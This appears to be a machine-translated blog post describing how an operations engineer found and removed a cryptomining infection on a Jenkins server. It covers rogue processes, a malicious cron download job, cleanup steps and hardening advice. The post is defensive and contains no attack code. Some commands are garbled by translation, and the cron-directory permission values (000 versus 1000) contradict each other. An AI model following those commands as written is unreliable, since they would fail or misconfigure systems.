Shulou(Shulou.com)06/01 Report--

Author of this article: Chenguang

Operation and maintenance engineer

Web service application is one of the most common applications, mainly through the public network release server port for customers to access to provide services. Such services have higher requirements for data security and access control. But the core is the host layer of the back-end server. When the back-end host does not work properly, the web service displayed at the front end must be implicated, so how to maintain the normal operation of the back-end server is particularly important.

When it comes to the normal operation of the back-end host, we have to mention the word "*", an invisible killer that makes Internet rookies helpless. They are pervasive through a variety of software vulnerabilities, networks and other aspects of the server with low security, the common means are sql injection, mining, xss and so on.

Mining (small science popularization)

Mining: Bitcoin mining is a process of using computer hardware to calculate the location of Bitcoin and obtain it.

The phenomenon of being mined: cpu resources are used crazily.

The way to be mined: take advantage of software vulnerabilities, such as Redis unauthorized access defects, voip environment and other vulnerabilities to log on to the server, regularly download script files and run them, consuming system resources.

Here is a case that was dealt with by the "mining" event.

Background

The cpu of hosts with the same number of services continues to run high to full, and continues. As a result, external application services cannot be accessed normally. By looking at the resource usage of the server, it is found that an unfamiliar process is taking up cpu resources crazily.

Treatment process

First of all, we found that the login server is very slow, and the loading speed of the website is very slow. As an excellent operation and maintenance engineer, we need to solve the speed problem of this website. At this time, the most intuitive way to view is to top the system resources. (as shown below)

The 4-core CPU is occupied by 389% of the ksoftirqds process, which looks very unusual. A good operation and maintenance engineer concluded that it must have been "mined".

Looking at the running status of the process, we can see that shell is executed regularly every 10min, resulting in a large number of soft interrupt processes. This process communicates with the network a lot, and carries out context switching, resulting in full CPU:

Try to use the kill command not to end the process normally, and then go back to the display of top, and find that jenkins is also running this process watchdog. According to my years of experience, it doesn't seem like a normal process. Use lsof to view the files opened by this process:

It turns out that kill is not lost because of the implantation process watchdog, and the watchdog process has a lot of communication with the outside world.

At the same time, it is generally set to a scheduled task, and then check the crontab under jenkins:

Sure enough, there is such a scheduled task to download the script and execute it.

At this point, delete the scheduled task first:

Then clear the process files for watchdog and ksoftirqds:

Finally, kill the process of watchdog and ksoftirqds, and modify the permission of / var/spool/cron/ to 000. then use top to check the resources of the server. Has returned to a normal state:

At this point, we have completed the treatment after "being excavated". I hope all excellent operation and maintenance engineers can plan strategies to protect their servers from being excavated! (give a compliment to your excellent insight)

Summary | process of mining

1. Use the top command to view the process of abnormally occupying cpu resources.

2. Use ps-ef | grep pid or lsof-p pid or cd / proc/pid to view the files opened by the process

3. Use for u in cat / etc/passwd | cut-d ":"-F1 to do crontab-lmuru $udone to view all scheduled tasks and locate users with abnormal crontab.

4. Users who enter an abnormal crontab delete scheduled tasks

5. Delete the exception file found in step 2

6. Abnormal process in step 1 of Kill

7. Modify the permission of / var/spool/cron to 1000 and enter the scheduled task of writing again.

Hidden danger analysis

The reasons for the server host resources being blocked should be analyzed from the architecture layer, host layer and application layer. The architecture of the entire website is very important. High availability, security and malicious * * interception will ensure the security of the application. The security policy of the host, the deployment mode of the software and the permissions of the directory are the security walls to ensure the communication between the host and the outside world. The structure of the application, the rationality of the statement, and security are the direct external windows. Well-developed code is not easily injected by sql.

Host layer

1. Firewall security measures are not in place.

2. The default port is used.

3. Public network provides services without access or traffic restrictions.

Application layer

1. Single point of application environment, low safety factor

2. The application version information is not hidden, so it is easy to find vulnerabilities.

3. Domain name resolution A records to the host public network, which directly exposes the host information of the back-end server.

Late prevention

Mining programs generally enter the server through software vulnerabilities and execute some script files to occupy server resources. Standardize the use of software. Doing a good job of network security isolation can greatly reduce the occurrence of such incidents.

1. Redis, database and other software do not expose port access to the external network.

2. Modify the external port to an unconventional port

3. Network access to filter or restrict security products

4. update the software in time to keep up-to-date and stable bug fixes

See here, did you learn?

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.